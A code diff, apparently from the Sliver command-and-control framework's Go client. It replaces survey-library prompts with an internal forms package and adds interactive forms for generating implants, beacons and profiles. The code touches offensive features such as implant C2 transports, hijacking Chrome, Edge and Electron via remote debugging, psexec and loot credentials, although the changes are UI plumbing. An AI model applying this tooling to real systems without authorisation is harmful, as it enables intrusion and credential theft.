"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -83,12 +82,8 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
_ = forms.Select("Select a beacon:", options, &selected)
if selected == "" {
return nil, ErrNoSelection
}
+2 -3
View File
@@ -21,10 +21,10 @@ package beacons
import (
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -71,8 +71,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Prune these beacons?", &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -29,7 +29,6 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
@@ -38,6 +37,7 @@ import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -547,11 +547,7 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
_ = forms.Select("Select a c2 profile", choices, &c2profile)
return c2profile
}
+2 -3
View File
@@ -21,10 +21,10 @@ package clean
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -35,8 +35,7 @@ import (
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -8,8 +8,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -55,11 +55,7 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S
}
selected := ""
prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
err = forms.Select("Select a credential:", options, &selected)
if err != nil {
return nil, err
}
+4 -4
View File
@@ -23,19 +23,19 @@ import (
"errors"
"fmt"
"log"
insecureRand "math/rand"
"os"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -123,7 +123,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -213,7 +213,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindPort := util.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+2 -6
View File
@@ -26,9 +26,9 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
@@ -71,12 +71,8 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
err := forms.Select("Select a debug target:", options, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
+2 -2
View File
@@ -23,9 +23,9 @@ import (
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -106,7 +106,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
+5 -5
View File
@@ -22,18 +22,18 @@ import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -88,7 +88,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
err = forms.Confirm("Kill and restart the process?", &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -118,7 +118,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
@@ -175,7 +175,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindPort := util.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+2 -2
View File
@@ -22,9 +22,9 @@ import (
"context"
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
@@ -44,7 +44,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
err := forms.Confirm("Kill the cursed process?", &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
+4 -8
View File
@@ -21,15 +21,15 @@ package cursed
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
@@ -95,12 +95,8 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
err := forms.Select("Select a curse:", options, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -115,7 +111,7 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
func getRemoteDebuggerPort(cmd *cobra.Command) int {
port, _ := cmd.Flags().GetInt("remote-debugging-port")
if port == 0 {
port = insecureRand.Intn(30000) + 10000
port = util.Intn(30000) + 10000
}
return port
}
+2 -3
View File
@@ -24,8 +24,8 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
@@ -82,8 +82,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+9 -9
View File
@@ -21,7 +21,6 @@ package exec
import (
"context"
"fmt"
insecureRand "math/rand"
"os"
"strings"
"time"
@@ -32,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
)
@@ -175,8 +175,8 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func randomString() string {
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
str := ""
for index := 0; index < insecureRand.Intn(8)+1; index++ {
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
for index := 0; index < util.Intn(8)+1; index++ {
str += string(alphanumeric[util.Intn(len(alphanumeric))])
}
return str
}
@@ -184,7 +184,7 @@ func randomString() string {
func randomFileName() string {
noun := randomString()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
switch util.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
@@ -192,16 +192,16 @@ func randomFileName() string {
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
sep := separators[util.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
for index := 0; index < util.Intn(3); index++ {
prefix += string(alphanumeric[util.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
for index := 0; index < util.Intn(6)+1; index++ {
suffix += string(alphanumeric[util.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
+2 -3
View File
@@ -23,8 +23,8 @@ import (
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
@@ -145,8 +145,7 @@ func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) {
privKey []byte
)
confirm := false
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("No credentials provided, use from loot?", &confirm)
if confirm {
// cred, err := loot.SelectCredentials(con)
// if err != nil {
+2 -3
View File
@@ -23,9 +23,9 @@ import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
@@ -45,8 +45,7 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Are you sure you want to exit?", &confirm)
if !confirm {
return
}
+2 -3
View File
@@ -24,9 +24,9 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -92,8 +92,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
if promptToOverwrite {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite current install?", &confirm)
if !confirm {
return
}
+2 -3
View File
@@ -33,12 +33,12 @@ import (
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -171,8 +171,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current command?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite current command?", &confirm)
if !confirm {
return
}
+3 -5
View File
@@ -25,9 +25,9 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -40,8 +40,7 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []s
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension?", name), &confirm)
if !confirm {
return
}
@@ -104,8 +103,7 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
// If path is outside extensions directory, prompt for confirmation
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName), &confirm)
if !confirm {
// Skip the forceRemoveAll but continue with the rest
delete(loadedManifests, manifestName)
+2 -3
View File
@@ -30,12 +30,12 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
)
func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
@@ -189,8 +189,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
_ = forms.Confirm("Overwrite local file?", &overwrite)
if !overwrite {
return
}
+115
View File
@@ -1,11 +1,15 @@
package generate
import (
"errors"
"fmt"
"os"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -17,6 +21,21 @@ var (
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunGenerateBeaconForm(cmd, con, args) {
result, err := forms.GenerateBeaconForm()
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Generate beacon form failed: %s\n", err)
return
}
if err := applyGenerateBeaconForm(cmd, result); err != nil {
con.PrintErrorf("Failed to apply generate beacon form values: %s\n", err)
return
}
}
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
@@ -67,3 +86,99 @@ func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error
config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
return nil
}
func shouldRunGenerateBeaconForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func applyGenerateBeaconForm(cmd *cobra.Command, result *forms.GenerateBeaconFormResult) error {
if err := cmd.Flags().Set("os", result.OS); err != nil {
return err
}
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
return err
}
if err := cmd.Flags().Set("format", result.Format); err != nil {
return err
}
name := strings.TrimSpace(result.Name)
if name != "" {
if err := cmd.Flags().Set("name", name); err != nil {
return err
}
}
save := strings.TrimSpace(result.Save)
if save != "" {
if err := cmd.Flags().Set("save", save); err != nil {
return err
}
}
c2Value := strings.TrimSpace(result.C2Value)
switch result.C2Type {
case "mtls":
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
return err
}
case "wg":
if err := cmd.Flags().Set("wg", c2Value); err != nil {
return err
}
case "http":
if err := cmd.Flags().Set("http", c2Value); err != nil {
return err
}
case "dns":
if err := cmd.Flags().Set("dns", c2Value); err != nil {
return err
}
case "named-pipe":
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
return err
}
case "tcp-pivot":
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
return err
}
default:
return errors.New("unsupported C2 transport selection")
}
if err := setOptionalInt64Flag(cmd, "days", result.Days); err != nil {
return err
}
if err := setOptionalInt64Flag(cmd, "hours", result.Hours); err != nil {
return err
}
if err := setOptionalInt64Flag(cmd, "minutes", result.Minutes); err != nil {
return err
}
if err := setOptionalInt64Flag(cmd, "seconds", result.Seconds); err != nil {
return err
}
if err := setOptionalInt64Flag(cmd, "jitter", result.Jitter); err != nil {
return err
}
return nil
}
func setOptionalInt64Flag(cmd *cobra.Command, name, value string) error {
trimmed := strings.TrimSpace(value)
if trimmed == "" {
return nil
}
parsed, err := strconv.ParseInt(trimmed, 10, 64)
if err != nil {
return err
}
if parsed < 0 {
return fmt.Errorf("%s must be 0 or greater", name)
}
return cmd.Flags().Set(name, strconv.FormatInt(parsed, 10))
}
+74 -21
View File
@@ -32,9 +32,9 @@ import (
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -89,6 +89,21 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunGenerateForm(cmd, con, args) {
result, err := forms.GenerateForm()
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Generate form failed: %s\n", err)
return
}
if err := applyGenerateForm(cmd, result); err != nil {
con.PrintErrorf("Failed to apply generate form values: %s\n", err)
return
}
}
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
@@ -117,6 +132,58 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
}
func shouldRunGenerateForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func applyGenerateForm(cmd *cobra.Command, result *forms.GenerateFormResult) error {
if err := cmd.Flags().Set("os", result.OS); err != nil {
return err
}
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
return err
}
if err := cmd.Flags().Set("format", result.Format); err != nil {
return err
}
name := strings.TrimSpace(result.Name)
if name != "" {
if err := cmd.Flags().Set("name", name); err != nil {
return err
}
}
save := strings.TrimSpace(result.Save)
if save != "" {
if err := cmd.Flags().Set("save", save); err != nil {
return err
}
}
c2Value := strings.TrimSpace(result.C2Value)
switch result.C2Type {
case "mtls":
return cmd.Flags().Set("mtls", c2Value)
case "wg":
return cmd.Flags().Set("wg", c2Value)
case "http":
return cmd.Flags().Set("http", c2Value)
case "dns":
return cmd.Flags().Set("dns", c2Value)
case "named-pipe":
return cmd.Flags().Set("named-pipe", c2Value)
case "tcp-pivot":
return cmd.Flags().Set("tcp-pivot", c2Value)
default:
return errors.New("unsupported C2 transport selection")
}
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
@@ -134,13 +201,10 @@ func saveLocation(save, DefaultName string, con *console.SliverClient) (string,
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
con.Printf("%s does not exist\n", save)
if strings.HasSuffix(save, "/") {
con.Printf("%s is dir\n", save)
os.MkdirAll(save, 0o700)
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
} else {
con.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
_, err := os.Stat(saveTo)
if os.IsNotExist(err) {
@@ -152,10 +216,8 @@ func saveLocation(save, DefaultName string, con *console.SliverClient) (string,
if fi.IsDir() {
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
} else {
con.PrintInfof("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
var confirm bool
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite existing file?", &confirm)
if !confirm {
return "", errors.New("file already exists")
}
@@ -466,9 +528,8 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) (
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
if !confirm {
return "", ""
}
@@ -576,7 +637,7 @@ func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
if testValue != "wininet" {
return false, fmt.Errorf("C2 option \"driver\" must be empty for the default driver or \"wininet\" for the wininet driver (Windows only)")
}
case "force-http", "disable-accept-header", "disable-upgrade-header", "ask-proxy-creds", "force-base32":
case "force-http", "disable-accept-header", "disable-upgrade-header", "ask-proxy-creds":
if testValue != "true" && testValue != "false" {
return false, fmt.Errorf("C2 option \"%s\" must be a boolean value: true or false", key)
}
@@ -738,11 +799,8 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri), &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
@@ -1049,8 +1107,7 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
confirm := false
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Try to compile anyways (will likely fail)?", &confirm)
return confirm
}
@@ -1086,11 +1143,7 @@ func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient
choices = append(choices, builder.Name)
}
choice := ""
prompt := &survey.Select{
Message: "Select an external builder:",
Options: choices,
}
survey.AskOne(prompt, &choice, nil)
_ = forms.Select("Select an external builder:", choices, &choice)
for _, builder := range builders {
if builder.Name == choice {
return builder, nil
+2 -3
View File
@@ -4,8 +4,8 @@ import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -24,8 +24,7 @@ func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Remove '%s' build?", name), &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -21,10 +21,10 @@ package generate
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -42,12 +42,8 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
options = append(options, name)
}
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons to expose:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_ = forms.MultiSelect("Select sessions and beacons to expose:", options, &selected)
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
if err != nil {
+183 -2
View File
@@ -19,8 +19,11 @@ package generate
*/
import (
"context"
"errors"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -28,7 +31,22 @@ import (
// ProfilesNewCmd - Create a new implant profile.
func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var name string
if len(args) > 0 {
if shouldRunGenerateProfilesNewForm(cmd, con, args) {
result, err := forms.GenerateProfilesNewForm()
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Profiles new form failed: %s\n", err)
return
}
profileName, err := applyGenerateProfilesNewForm(cmd, result)
if err != nil {
con.PrintErrorf("Failed to apply profiles new form values: %s\n", err)
return
}
name = profileName
} else if len(args) > 0 {
name = args[0]
}
// name := ctx.Args.String("name")
@@ -51,7 +69,22 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string
// ProfilesNewBeaconCmd - Create a new beacon profile.
func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var name string
if len(args) > 0 {
if shouldRunGenerateProfilesNewBeaconForm(cmd, con, args) {
result, err := forms.GenerateProfilesNewBeaconForm()
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Profiles new beacon form failed: %s\n", err)
return
}
profileName, err := applyGenerateProfilesNewBeaconForm(cmd, result)
if err != nil {
con.PrintErrorf("Failed to apply profiles new beacon form values: %s\n", err)
return
}
name = profileName
} else if len(args) > 0 {
name = args[0]
}
// name := ctx.Args.String("name")
